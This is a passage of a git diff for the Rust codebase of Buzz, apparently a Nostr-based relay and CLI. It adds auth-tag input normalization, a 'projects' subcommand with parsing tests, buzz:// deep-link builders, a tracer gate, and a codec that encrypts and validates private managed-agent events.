Result<(), CliError> { .map_err(|e| CliError::Key(format!("invalid BUZZ_PRIVATE_KEY: {e}")))?; // NIP-OA: parse and verify the auth tag if provided. + // + // `BUZZ_AUTH_TAG` is hand-authored configuration, so the unquoted raw + // shorthand `[auth,hex,,hex]` is normalized to JSON here — at this input + // edge only. The SDK grammar and the `x-auth-tag` wire format stay strict + // JSON; all validation and signature verification happen on the strict + // path below, unchanged. let (auth_tag, auth_tag_json) = match cli.auth_tag { - Some(ref json) if !json.is_empty() => { - let tag = buzz_sdk::nip_oa::parse_auth_tag(json) + Some(ref input) if !input.is_empty() => { + let json = normalize_auth_tag_input(input); + let tag = buzz_sdk::nip_oa::parse_auth_tag(&json) .map_err(|e| CliError::Auth(format!("BUZZ_AUTH_TAG is malformed: {e}")))?; - buzz_sdk::nip_oa::verify_auth_tag(json, &keys.public_key()).map_err(|e| { + buzz_sdk::nip_oa::verify_auth_tag(&json, &keys.public_key()).map_err(|e| { CliError::Auth(format!( "BUZZ_AUTH_TAG verification failed for pubkey {}: {e}", keys.public_key().to_hex() )) })?; - (Some(tag), Some(json.clone())) + // Canonical wire form derives from the parsed-and-verified tag + // (same shape as buzz-acp's RestClient), never from raw input. + let canonical = serde_json::to_string(tag.as_slice()) + .map_err(|e| CliError::Auth(format!("BUZZ_AUTH_TAG serialization failed: {e}")))?; + (Some(tag), Some(canonical)) } _ => (None, None), }; @@ -1940,6 +2106,7 @@ async fn run(cli: Cli) -> Result<(), CliError> { Cmd::Social(sub) => commands::social::dispatch(sub, &client).await, Cmd::Notes(sub) => commands::notes::dispatch(sub, &client).await, Cmd::Repos(sub) => commands::repos::dispatch(sub, &client).await, + Cmd::Projects(sub) => commands::projects::dispatch(sub, &client).await, Cmd::Patches(sub) => commands::patches::dispatch(sub, &client).await, Cmd::Issues(sub) => commands::issues::dispatch(sub, &client).await, Cmd::Pr(sub) => commands::pr::dispatch(sub, &client).await, @@ -1956,6 +2123,51 @@ mod tests { use super::*; use clap::CommandFactory; + /// Raw shorthand `[auth,hex,,hex]` normalizes to strict JSON; the empty + /// conditions field becomes `""`. + #[test] + fn normalize_auth_tag_raw_shorthand() { + let owner = "a".repeat(64); + let sig = "b".repeat(128); + + let raw = format!("[auth,{owner},,{sig}]"); + let json = normalize_auth_tag_input(&raw); + let parsed: Vec = serde_json::from_str(&json).expect("output must be JSON"); + assert_eq!(parsed, vec!["auth", &owner, "", &sig]); + + // With conditions and surrounding whitespace (shell/.env artifacts). + let raw = format!(" [auth, {owner} , kind=9, {sig}] \n"); + let json = normalize_auth_tag_input(&raw); + let parsed: Vec = serde_json::from_str(&json).expect("output must be JSON"); + assert_eq!(parsed, vec!["auth", &owner, "kind=9", &sig]); + } + + /// Valid JSON input passes through byte-identical (modulo outer trim) — + /// the normalizer must never rewrite well-formed input. + #[test] + fn normalize_auth_tag_json_passthrough() { + let owner = "a".repeat(64); + let sig = "b".repeat(128); + let json_in = serde_json::json!(["auth", owner, "kind=9", sig]).to_string(); + assert_eq!(normalize_auth_tag_input(&json_in), json_in); + } + + /// Inputs that are neither JSON nor a plausible 4-field shorthand pass + /// through unchanged, so the strict parser rejects the original bytes. + #[test] + fn normalize_auth_tag_leaves_garbage_untouched() { + for garbage in [ + "not a tag", + "[auth,too,few]", + "[a,b,c,d,e]", + r#"[auth,"quoted",x,y]"#, // quote chars => not the shorthand + "[]", + "{\"auth\":1}", + ] { + assert_eq!(normalize_auth_tag_input(garbage), garbage.trim()); + } + } + /// Smoke test: CLI definition is valid and parseable. #[test] fn cli_definition_is_valid() { @@ -2004,6 +2216,7 @@ mod tests { "pack", "patches", "pr", + "projects", "reactions", "repos", "social", @@ -2161,6 +2374,18 @@ mod tests { names(&cmd, "patches"), vec!["get", "list", "send", "status"] ); + assert_eq!( + names(&cmd, "projects"), + vec![ + "add-repo", + "create", + "delete", + "get", + "list", + "remove-repo", + "update" + ] + ); assert_eq!( names(&cmd, "issues"), vec!["comment", "create", "get", "list", "rm", "status"] @@ -2198,6 +2423,7 @@ mod tests { ("pack", 2), ("patches", 4), ("pr", 5), + ("projects", 7), ("reactions", 3), ("repos", 6), ("social", 7), @@ -2265,4 +2491,111 @@ mod tests { .join("\n") ); } + + // ── projects update mutation group ──────────────────────────────────────── + + /// Multiple independent fields must be accepted in the same invocation. + #[test] + fn projects_update_multi_field_is_accepted() { + assert!( + Cli::try_parse_from([ + "buzz", + "projects", + "update", + "my-slug", + "--name", + "X", + "--description", + "Y", + ]) + .is_ok(), + "--name and --description together must be accepted" + ); + } + + /// A setter for one field and a clearer for a different field must be accepted. + #[test] + fn projects_update_setter_with_other_clearer_is_accepted() { + assert!( + Cli::try_parse_from([ + "buzz", + "projects", + "update", + "my-slug", + "--name", + "X", + "--clear-description", + ]) + .is_ok(), + "--name with --clear-description must be accepted" + ); + } + + /// A setter and its own clearer are mutually exclusive — clap must reject this. + #[test] + fn projects_update_setter_with_own_clearer_is_rejected() { + assert!( + Cli::try_parse_from([ + "buzz", + "projects", + "update", + "my-slug", + "--name", + "X", + "--clear-name", + ]) + .is_err(), + "--name and --clear-name together must be rejected by clap" + ); + } + + /// Providing no mutation options at all must be rejected by clap (required group). + #[test] + fn projects_update_no_mutation_is_rejected_by_clap() { + // Without credentials, a valid parse would reach authentication and fail + // with auth_error — but a clap-level rejection happens before any I/O. + // We verify it's a clap error (not just any error) by checking the error + // kind is not a runtime/auth failure — Cli::try_parse_from returns Err + // immediately for argument violations. + assert!( + Cli::try_parse_from(["buzz", "projects", "update", "my-slug"]).is_err(), + "update with no setters or clearers must be rejected at parse time" + ); + } + + /// An unrecognised visibility token must be rejected by clap before any I/O. + #[test] + fn projects_create_invalid_visibility_is_rejected_by_clap() { + assert!( + Cli::try_parse_from([ + "buzz", + "projects", + "create", + "my-slug", + "--repo", + "buzz", + "--visibility", + "chartreuse", + ]) + .is_err(), + "--visibility chartreuse must be rejected at parse time" + ); + } + + /// An unrecognised visibility token on update must be rejected by clap before any I/O. + #[test] + fn projects_update_invalid_visibility_is_rejected_by_clap() { + assert!( + Cli::try_parse_from([ + "buzz", + "projects", + "update", + "my-slug", + "--visibility", + "chartreuse", + ]) + .is_err(), + "--visibility chartreuse on update must be rejected at parse time" + ); + } } diff --git a/crates/buzz-cli/src/links.rs b/crates/buzz-cli/src/links.rs new file mode 100644 index 0000000000..043bdc48b0 --- /dev/null +++ b/crates/buzz-cli/src/links.rs @@ -0,0 +1,51 @@ +//! Canonical `buzz://` deep links for Buzz-hosted git entities. +//! +//! Buzz Desktop renders these links as rich preview cards in chat and +//! navigates in-app when they are clicked. The desktop parser lives in +//! `desktop/src/shared/lib/entityLink.ts` — the two implementations must +//! stay format-compatible (see `golden_format_matches_desktop` below and +//! the mirror test in `entityLink.test.mjs`). +//! +//! Callers are expected to validate inputs first (`validate_hex64`, +//! `validate_repo_id`); the identifier charsets need no URL encoding. + +/// Build a `buzz://repo` link for a repository announcement (kind 30617). +pub fn repo_link(owner: &str, repo_id: &str) -> String { + format!("buzz://repo?owner={owner}&d={repo_id}") +} + +/// Build a `buzz://pr` link for a pull request event (kind 1618). +pub fn pull_request_link(event_id: &str, owner: &str, repo_id: &str) -> String { + format!("buzz://pr?id={event_id}&owner={owner}&d={repo_id}") +} + +/// Build a `buzz://issue` link for an issue event (kind 1621). +pub fn issue_link(event_id: &str, owner: &str, repo_id: &str) -> String { + format!("buzz://issue?id={event_id}&owner={owner}&d={repo_id}") +} + +#[cfg(test)] +mod tests { + use super::*; + + const OWNER: &str = "71d67180ba17e749ee825fc8819c9c6ee7003617e1c126504f9b658070ab9224"; + const EVENT_ID: &str = "c3b589fa5713ba25bad6dc095e2de00a4ac8f50050fdea00fc6444e603be1dd1"; + + // Golden strings shared with desktop/src/shared/lib/entityLink.test.mjs + // ("builders emit the canonical cross-language link format"). + #[test] + fn golden_format_matches_desktop() { + assert_eq!( + pull_request_link(EVENT_ID, OWNER, "buzz-world"), + format!("buzz://pr?id={EVENT_ID}&owner={OWNER}&d=buzz-world") + ); + assert_eq!( + issue_link(EVENT_ID, OWNER, "buzz-world"), + format!("buzz://issue?id={EVENT_ID}&owner={OWNER}&d=buzz-world") + ); + assert_eq!( + repo_link(OWNER, "buzz-world"), + format!("buzz://repo?owner={OWNER}&d=buzz-world") + ); + } +} diff --git a/crates/buzz-conformance/src/lib.rs b/crates/buzz-conformance/src/lib.rs index 3e1cfe13e3..b8e3f933df 100644 --- a/crates/buzz-conformance/src/lib.rs +++ b/crates/buzz-conformance/src/lib.rs @@ -315,6 +315,27 @@ pub trait Tracer: Send + Sync { /// Record one trace step. Implementations MAY be no-ops in production /// builds and write to JSONL in tests. fn record(&self, step: TraceStep); + + /// Whether recorded steps are actually observed. + /// + /// Emitters on hot paths MUST consult this before doing work whose + /// *only* consumer is the trace — most importantly extra database + /// reads that project row labels independently of the fetch query + /// (the read-seam's `communities_of_channels` lookup). With a + /// discarding tracer that work is pure overhead. + /// + /// This is the `log.isDebugEnabled()` of the trace seam. It exists to + /// let callers skip *building emit inputs*, never to let them skip an + /// emit they would otherwise have made: when this returns `true` + /// every seam must behave exactly as it did before the gate existed, + /// so the coverage-breach guard stays non-vacuous. + /// + /// Defaults to `true` — a new tracer is assumed to observe steps until + /// it says otherwise. Wrappers that delegate to an inner tracer MUST + /// forward this method rather than inherit the default. + fn enabled(&self) -> bool { + true + } } /// A no-op tracer for production. Zero cost: the build can omit emission @@ -324,4 +345,9 @@ pub struct NoopTracer; impl Tracer for NoopTracer { fn record(&self, _step: TraceStep) {} + + /// Nothing is observed, so emitters should skip building inputs. + fn enabled(&self) -> bool { + false + } } diff --git a/crates/buzz-core/src/kind.rs b/crates/buzz-core/src/kind.rs index e5f67f671f..3c6f1d5913 100644 --- a/crates/buzz-core/src/kind.rs +++ b/crates/buzz-core/src/kind.rs @@ -108,6 +108,15 @@ pub const KIND_EVENT_REMINDER: u32 = 30300; /// dedicated push lease tables. pub const KIND_PUSH_LEASE: u32 = 30350; +/// NIP-PMA: owner-encrypted private managed-agent aggregate. +/// +/// Addressed by `(owner pubkey, kind, agent pubkey)`. The signed outer tags +/// expose only the agent coordinate, CAS generation/predecessor, and active/deleted +/// state required for relay enforcement. Content is NIP-44 v2 encrypted from +/// the owner's key to itself and contains the runnable identity/configuration +/// plus exact public projection bindings. See `docs/nips/NIP-PMA.md`. +pub const KIND_PRIVATE_MANAGED_AGENT: u32 = 30179; + /// Kinds whose stored events are readable only by their author. /// /// The relay must never reveal the existence, count, tags, content, schedule, @@ -117,7 +126,11 @@ pub const KIND_PUSH_LEASE: u32 = 30350; /// /// Currently a tiny linear set. If this grows past ~4 kinds, convert to a /// compile-time bitset or sorted array with binary search for hot-path use. -pub const AUTHOR_ONLY_KINDS: &[u32] = &[KIND_EVENT_REMINDER, KIND_PUSH_LEASE]; +pub const AUTHOR_ONLY_KINDS: &[u32] = &[ + KIND_EVENT_REMINDER, + KIND_PUSH_LEASE, + KIND_PRIVATE_MANAGED_AGENT, +]; /// Kinds that require a result-level read gate beyond the filter-layer /// `#p` check: even a reader who knows an event id MUST match the event's @@ -609,6 +622,15 @@ pub const KIND_GIT_STATUS_CLOSED: u32 = 1632; /// NIP-34: Status — Draft. pub const KIND_GIT_STATUS_DRAFT: u32 = 1633; +/// NIP-MP: Multi-repo project — a named grouping of `kind:30617` repository +/// announcements (parameterized replaceable, d=project slug). +/// +/// Members are `a` tags holding `30617::` coordinates, so one +/// project may span repositories owned by different pubkeys. The signer gains no +/// authority over any member: push policy reads the repository's own +/// announcement, never a project. See `docs/nips/NIP-MP.md`. +pub const KIND_PROJECT: u32 = 30621; + /// All registered kind constants — used for duplicate detection and iteration. pub const ALL_KINDS: &[u32] = &[ KIND_PROFILE, @@ -634,6 +656,7 @@ pub const ALL_KINDS: &[u32] = &[ KIND_TEAM, KIND_MANAGED_AGENT, KIND_TEAM_CATALOG, + KIND_PRIVATE_MANAGED_AGENT, KIND_REPORT, KIND_PRODUCT_FEEDBACK, KIND_NIP29_PUT_USER, @@ -739,6 +762,7 @@ pub const ALL_KINDS: &[u32] = &[ KIND_GIT_STATUS_MERGED, KIND_GIT_STATUS_CLOSED, KIND_GIT_STATUS_DRAFT, + KIND_PROJECT, ]; /// Returns `true` if `kind` is in the ephemeral range (20000–29999). @@ -833,9 +857,11 @@ const _: () = assert!(is_parameterized_replaceable(KIND_PERSONA)); // 30175 ∈ const _: () = assert!(is_parameterized_replaceable(KIND_TEAM)); // 30176 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_MANAGED_AGENT)); // 30177 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_TEAM_CATALOG)); // 30178 ∈ 30000–39999 +const _: () = assert!(is_parameterized_replaceable(KIND_PRIVATE_MANAGED_AGENT)); // 30179 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_WORKFLOW_DEF)); // 30620 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_EVENT_REMINDER)); // 30300 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_DM_VISIBILITY)); // 30622 ∈ 30000–39999 +const _: () = assert!(is_parameterized_replaceable(KIND_PROJECT)); // 30621 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_THREAD_SUMMARY)); // 39005 ∈ 30000–39999 const _: () = assert!(is_parameterized_replaceable(KIND_WINDOW_BOUNDS)); // 39006 ∈ 30000–39999 diff --git a/crates/buzz-core/src/lib.rs b/crates/buzz-core/src/lib.rs index 66b7708f1d..7424915c83 100644 --- a/crates/buzz-core/src/lib.rs +++ b/crates/buzz-core/src/lib.rs @@ -32,6 +32,8 @@ pub mod observer; pub mod pairing; /// Presence status types shared across crates. pub mod presence; +/// NIP-PMA owner-encrypted private managed-agent wire codec. +pub mod private_managed_agent; /// Canonical relay runtime identities. pub mod relay; /// Tenant identity — the server-resolved community key carried on scoped paths. diff --git a/crates/buzz-core/src/private_managed_agent.rs b/crates/buzz-core/src/private_managed_agent.rs new file mode 100644 index 0000000000..180dd6fa0c --- /dev/null +++ b/crates/buzz-core/src/private_managed_agent.rs @@ -0,0 +1,1134 @@ +//! NIP-PMA private managed-agent wire codec. +//! +//! This module defines and validates the inert wire format only. Relays must +//! not accept [`KIND_PRIVATE_MANAGED_AGENT`](crate::kind::KIND_PRIVATE_MANAGED_AGENT) +//! until the dedicated privacy and aggregate-CAS transactions are deployed. + +use std::collections::{BTreeMap, HashSet}; +use std::fmt; +use std::str::FromStr; + +use nostr::nips::nip44::{self, Version}; +use nostr::secp256k1::schnorr::Signature; +use nostr::secp256k1::Message; +use nostr::{Event, EventBuilder, EventId, Keys, Kind, PublicKey, Tag, SECP256K1}; +use serde::de::{DeserializeSeed, Deserializer, MapAccess, SeqAccess, Visitor}; +use serde::{Deserialize, Serialize}; +use serde_json::Value; +use sha2::{Digest, Sha256}; +use thiserror::Error; + +use crate::kind::{KIND_MANAGED_AGENT, KIND_PERSONA, KIND_PRIVATE_MANAGED_AGENT}; + +/// Wire-format discriminator for decrypted private managed-agent payloads. +pub const FORMAT: &str = "buzz-private-managed-agent"; +/// Current decrypted payload schema version. +pub const VERSION: u32 = 1; +/// NIP-44 v2 plaintext limit. +pub const MAX_PLAINTEXT_BYTES: usize = 65_535; +/// Maximum plausible NIP-44 v2 ciphertext length. +pub const MAX_CIPHERTEXT_BYTES: usize = 87_472; +/// Largest integer represented exactly by interoperable JSON implementations. +pub const MAX_SAFE_GENERATION: u64 = (1_u64 << 53) - 1; +/// Maximum number of environment variables in one private payload. +pub const MAX_ENV_VARS: usize = 256; +/// Maximum UTF-8 bytes in one environment-variable key. +pub const MAX_ENV_KEY_BYTES: usize = 256; +/// Maximum UTF-8 bytes in one environment-variable value. +pub const MAX_ENV_VALUE_BYTES: usize = 16_384; +/// Maximum number of explicit agent arguments. +pub const MAX_AGENT_ARGS: usize = 256; +/// Maximum UTF-8 bytes in one argument. +pub const MAX_AGENT_ARG_BYTES: usize = 8_192; +/// Maximum serialized bytes accepted for an extension/recovery/config value. +pub const MAX_VALUE_BYTES: usize = 32_768; + +/// Errors returned by the private managed-agent codec. +#[derive(Debug, Error, PartialEq, Eq)] +pub enum Error { + /// The signed outer event is malformed or does not match the expected owner. + #[error("invalid private managed-agent envelope: {0}")] + InvalidEnvelope(String), + /// The ciphertext could not be authenticated/decrypted. Deliberately redacted. + #[error("private managed-agent payload could not be decrypted")] + Decrypt, + /// The decrypted JSON is malformed, ambiguous, or semantically invalid. + #[error("invalid private managed-agent payload: {0}")] + InvalidPayload(String), + /// Encryption failed. + #[error("private managed-agent encryption failed")] + Encrypt, + /// Event signing failed. + #[error("private managed-agent signing failed")] + Sign, +} + +/// Authoritative lifecycle state repeated in the outer tags and ciphertext. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)] +#[serde(rename_all = "lowercase")] +pub enum State { + /// Runnable aggregate. + Active, + /// Anti-resurrection tombstone. + Deleted, +} + +impl State { + fn as_str(self) -> &'static str { + match self { + Self::Active => "active", + Self::Deleted => "deleted", + } + } +} + +/// Versioned signed-event recovery material for a bound public projection. +/// +/// Retaining the complete signed event makes reconstruction unambiguous: its +/// signature, ID, author, kind, coordinate, and exact content bytes can all be +/// checked without trusting replaceable-event history. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ProjectionRecoveryV1 { + /// Recovery schema version. Version 1 stores one complete signed event. + pub version: u32, + /// Exact signed public projection event. + pub signed_event: Event, +} + +/// Complete definition projection binding and recovery material. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct DefinitionBinding { + /// CAS-managed definition revision pinned by this aggregate. + pub revision: u64, + /// Exact signed kind:30175 event ID. + pub event_id: String, + /// Lowercase SHA-256 of the exact projection content bytes. + pub content_sha256: String, + /// Versioned signed event sufficient to reproduce the projection. + pub recovery: ProjectionRecoveryV1, +} + +/// Complete kind:30177 projection binding and recovery material. +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct InstanceBinding { + /// Exact signed kind:30177 event ID. + pub event_id: String, + /// Lowercase SHA-256 of the exact projection content bytes. + pub content_sha256: String, + /// Versioned signed event sufficient to reproduce the projection. + pub recovery: ProjectionRecoveryV1, +} + +/// Secret agent identity material. It never appears in public projections. +#[derive(Clone, PartialEq, Eq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct PrivateIdentity { + /// Agent private key in nsec form. + pub private_key_nsec: String, + /// Optional NIP-OA owner attestation JSON. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub auth_tag: Option, +} + +impl fmt::Debug for PrivateIdentity { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter + .debug_struct("PrivateIdentity") + .field("private_key_nsec", &"") + .field("auth_tag", &self.auth_tag.as_ref().map(|_| "")) + .finish() + } +} + +/// Portable private runnable configuration. +#[derive(Clone, PartialEq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct PrivateConfig { + /// Explicit kind:30175 coordinate, when definition-backed. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub definition_coordinate: Option, + /// Intended relay endpoint; validated again on each device before use. + pub relay_url: String, + /// Explicit harness override; never launched without local validation. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub agent_command_override: Option, + /// Explicit harness arguments; validated again on each device. + #[serde(default, skip_serializing_if = "Vec::is_empty")] + pub agent_args: Vec, + /// Idle timeout in seconds. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub idle_timeout_seconds: Option, + /// Absolute turn timeout in seconds. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub max_turn_duration_seconds: Option, + /// Secret environment overrides. + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + pub env_vars: BTreeMap, + /// Versioned backend configuration. Device/provider validation is required. + pub backend: Value, + /// Durable remote backend identity; ownership/existence is device-validated. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub backend_agent_id: Option, + /// Portable team linkage. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub team_id: Option, + /// Portable identity within a team. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub persona_name_in_team: Option, + /// Versioned provider/definition relay-mesh marker. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub relay_mesh: Option, +} + +impl fmt::Debug for PrivateConfig { + fn fmt(&self, formatter: &mut fmt::Formatter<'_>) -> fmt::Result { + formatter + .debug_struct("PrivateConfig") + .field("contents", &"") + .finish() + } +} + +/// Fields present only when [`Payload::state`] is [`State::Active`]. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct ActivePayload { + /// Exact definition projection binding. + pub definition: DefinitionBinding, + /// Exact public instance projection binding. + pub instance_projection: InstanceBinding, + /// Secret identity material. + pub identity: PrivateIdentity, + /// Private portable/device-validated configuration. + pub config: PrivateConfig, +} + +/// Decrypted private managed-agent payload. +#[derive(Debug, Clone, PartialEq, Serialize, Deserialize)] +#[serde(deny_unknown_fields)] +pub struct Payload { + /// Always [`FORMAT`]. + pub format: String, + /// Always [`VERSION`]. + pub version: u32, + /// Agent pubkey and event `d` coordinate. + pub agent_pubkey: String, + /// Owner pubkey and signed event author. + pub owner_pubkey: String, + /// Monotonic CAS generation. + pub generation: u64, + /// Exact predecessor event ID; absent only for generation one. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub previous_event_id: Option, + /// Lifecycle state, repeated in the outer `state` tag. + pub state: State, + /// RFC3339 bookkeeping timestamp; never used for conflict resolution. + pub updated_at: String, + /// Required for active records and forbidden for tombstones. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub active: Option, + /// Required for tombstones and forbidden for active records. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub deleted_at: Option, + /// Forward-compatible namespaced data. Core semantics must never depend on it. + #[serde(default, skip_serializing_if = "BTreeMap::is_empty")] + pub extensions: BTreeMap, +} + +/// Validated public metadata from a private managed-agent event. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Envelope { + /// Agent pubkey from `d`. + pub agent_pubkey: PublicKey, + /// Owner pubkey from the signed event author. + pub owner_pubkey: PublicKey, + /// CAS generation from `g`. + pub generation: u64, + /// CAS predecessor from `prev`. + pub previous_event_id: Option, + /// Lifecycle state from `state`. + pub state: State, +} + +/// Compute the lowercase SHA-256 binding for exact projection content bytes. +pub fn content_sha256(content: &[u8]) -> String { + hex::encode(Sha256::digest(content)) +} + +/// Validate a signed outer envelope before any decryption. +pub fn validate_envelope(event: &Event, expected_owner: &PublicKey) -> Result { + if event.kind.as_u16() as u32 != KIND_PRIVATE_MANAGED_AGENT { + return Err(Error::InvalidEnvelope("wrong kind".into())); + } + if &event.pubkey != expected_owner { + return Err(Error::InvalidEnvelope( + "author is not expected owner".into(), + )); + } + if !event.verify_id() || !event.verify_signature() { + return Err(Error::InvalidEnvelope( + "invalid event id or signature".into(), + )); + } + if event.content.is_empty() || event.content.len() > MAX_CIPHERTEXT_BYTES { + return Err(Error::InvalidEnvelope("invalid ciphertext length".into())); + } + + let mut d = None; + let mut g = None; + let mut prev = None; + let mut state = None; + for tag in event.tags.iter() { + let parts = tag.as_slice(); + if parts.len() != 2 { + return Err(Error::InvalidEnvelope( + "every tag must have exactly one value".into(), + )); + } + let slot = match parts[0].as_str() { + "d" => &mut d, + "g" => &mut g, + "prev" => &mut prev, + "state" => &mut state, + name => return Err(Error::InvalidEnvelope(format!("unexpected tag: {name}"))), + }; + if slot.replace(parts[1].clone()).is_some() { + return Err(Error::InvalidEnvelope(format!( + "duplicate {} tag", + parts[0] + ))); + } + } + + let agent_pubkey = parse_canonical_pubkey( + "d", + d.as_deref() + .ok_or_else(|| Error::InvalidEnvelope("missing d tag".into()))?, + )?; + let owner_pubkey = *expected_owner; + let generation = parse_generation( + g.as_deref() + .ok_or_else(|| Error::InvalidEnvelope("missing g tag".into()))?, + )?; + let previous_event_id = match prev { + Some(value) => Some(parse_event_id("prev", &value)?), + None => None, + }; + if (generation == 1) != previous_event_id.is_none() { + return Err(Error::InvalidEnvelope( + "prev must be absent exactly at generation 1".into(), + )); + } + let state = match state.as_deref() { + Some("active") => State::Active, + Some("deleted") => State::Deleted, + Some(_) => return Err(Error::InvalidEnvelope("invalid state tag".into())), + None => return Err(Error::InvalidEnvelope("missing state tag".into())), + }; + Ok(Envelope { + agent_pubkey, + owner_pubkey, + generation, + previous_event_id, + state, + }) +} + +/// Encrypt and sign an inert private managed-agent event candidate. +pub fn build_event(owner_keys: &Keys, payload: &Payload, created_at: u64) -> Result { + validate_payload(payload)?; + if payload.owner_pubkey != owner_keys.public_key().to_hex() { + return Err(Error::InvalidPayload( + "owner_pubkey does not match signing key".into(), + )); + } + let plaintext = serde_json::to_vec(payload).map_err(|_| Error::Encrypt)?; + if plaintext.len() > MAX_PLAINTEXT_BYTES { + return Err(Error::InvalidPayload( + "plaintext exceeds NIP-44 limit".into(), + )); + } + let plaintext = std::str::from_utf8(&plaintext).map_err(|_| Error::Encrypt)?; + let ciphertext = nip44::encrypt( + owner_keys.secret_key(), + &owner_keys.public_key(), + plaintext, + Version::V2, + ) + .map_err(|_| Error::Encrypt)?; + let mut tags = vec![ + parse_tag(["d", payload.agent_pubkey.as_str()])?, + parse_tag(["g", payload.generation.to_string().as_str()])?, + parse_tag(["state", payload.state.as_str()])?, + ]; + if let Some(previous) = payload.previous_event_id.as_deref() { + tags.push(parse_tag(["prev", previous])?); + } + EventBuilder::new(Kind::Custom(KIND_PRIVATE_MANAGED_AGENT as u16), ciphertext) + .tags(tags) + .custom_created_at(nostr::Timestamp::from(created_at)) + .sign_with_keys(owner_keys) + .map_err(|_| Error::Sign) +} + +/// Validate, owner-self decrypt, strictly parse, and cross-check a payload. +pub fn validate_and_decrypt( + event: &Event, + owner_keys: &Keys, +) -> Result<(Envelope, Payload), Error> { + let envelope = validate_envelope(event, &owner_keys.public_key())?; + let plaintext = nip44::decrypt( + owner_keys.secret_key(), + &owner_keys.public_key(), + &event.content, + ) + .map_err(|_| Error::Decrypt)?; + if plaintext.len() > MAX_PLAINTEXT_BYTES { + return Err(Error::Decrypt); + } + let value = parse_strict_json(plaintext.as_bytes())?; + let payload: Payload = + serde_json::from_value(value).map_err(|e| Error::InvalidPayload(format!("schema: {e}")))?; + validate_payload(&payload)?; + if payload.agent_pubkey != envelope.agent_pubkey.to_hex() + || payload.owner_pubkey != envelope.owner_pubkey.to_hex() + || payload.generation != envelope.generation + || payload.state != envelope.state + || payload.previous_event_id.as_deref() + != envelope + .previous_event_id + .as_ref() + .map(EventId::to_hex) + .as_deref() + { + return Err(Error::InvalidPayload( + "outer/inner metadata mismatch".into(), + )); + } + Ok((envelope, payload)) +} + +/// Validate decrypted payload semantics independently of encryption. +pub fn validate_payload(payload: &Payload) -> Result<(), Error> { + if payload.format != FORMAT || payload.version != VERSION { + return Err(Error::InvalidPayload( + "unsupported format or version".into(), + )); + } + let agent = parse_canonical_pubkey("agent_pubkey", &payload.agent_pubkey) + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + parse_canonical_pubkey("owner_pubkey", &payload.owner_pubkey) + .map_err(|e| Error::InvalidPayload(e.to_string()))?; + validate_generation_and_prev(payload.generation, payload.previous_event_id.as_deref())?; + parse_rfc3339("updated_at", &payload.updated_at)?; + for (key, value) in &payload.extensions { + if key.is_empty() || key.len() > 128 || !key.contains(':') { + return Err(Error::InvalidPayload( + "extension keys must be non-empty namespaced strings <= 128 bytes".into(), + )); + } + validate_value_size("extension", value)?; + } + match payload.state { + State::Active => { + if payload.deleted_at.is_some() { + return Err(Error::InvalidPayload( + "active payload must not contain deleted_at".into(), + )); + } + let active = payload.active.as_ref().ok_or_else(|| { + Error::InvalidPayload("active payload missing active body".into()) + })?; + validate_active(active, &agent, &payload.owner_pubkey)?; + } + State::Deleted => { + if payload.active.is_some() { + return Err(Error::InvalidPayload( + "deleted payload must not contain active body".into(), + )); + } + parse_rfc3339( + "deleted_at", + payload.deleted_at.as_deref().ok_or_else(|| { + Error::InvalidPayload("deleted payload missing deleted_at".into()) + })?, + )?; + } + } + Ok(()) +} + +fn validate_active( + active: &ActivePayload, + agent: &PublicKey, + owner_pubkey: &str, +) -> Result<(), Error> { + if active.definition.revision == 0 || active.definition.revision > MAX_SAFE_GENERATION { + return Err(Error::InvalidPayload("invalid definition revision".into())); + } + let definition_d = + parse_definition_coordinate(active.config.definition_coordinate.as_deref(), owner_pubkey)?; + validate_binding( + "definition", + KIND_PERSONA, + owner_pubkey, + Some(&definition_d), + &active.definition.event_id, + &active.definition.content_sha256, + &active.definition.recovery, + )?; + validate_binding( + "instance_projection", + KIND_MANAGED_AGENT, + owner_pubkey, + Some(&agent.to_hex()), + &active.instance_projection.event_id, + &active.instance_projection.content_sha256, + &active.instance_projection.recovery, + )?; + let agent_keys = Keys::parse(active.identity.private_key_nsec.trim()) + .map_err(|_| Error::InvalidPayload("invalid agent nsec".into()))?; + if agent_keys.public_key() != *agent { + return Err(Error::InvalidPayload( + "agent nsec does not derive agent_pubkey".into(), + )); + } + if let Some(auth_tag) = &active.identity.auth_tag { + validate_auth_tag(auth_tag, owner_pubkey, agent)?; + } + let config = &active.config; + if config.relay_url.is_empty() || config.relay_url.len() > 4096 { + return Err(Error::InvalidPayload("invalid relay_url length".into())); + } + if config.agent_args.len() > MAX_AGENT_ARGS + || config + .agent_args + .iter() + .any(|arg| arg.len() > MAX_AGENT_ARG_BYTES) + { + return Err(Error::InvalidPayload("agent_args exceed limits".into())); + } + if config.env_vars.len() > 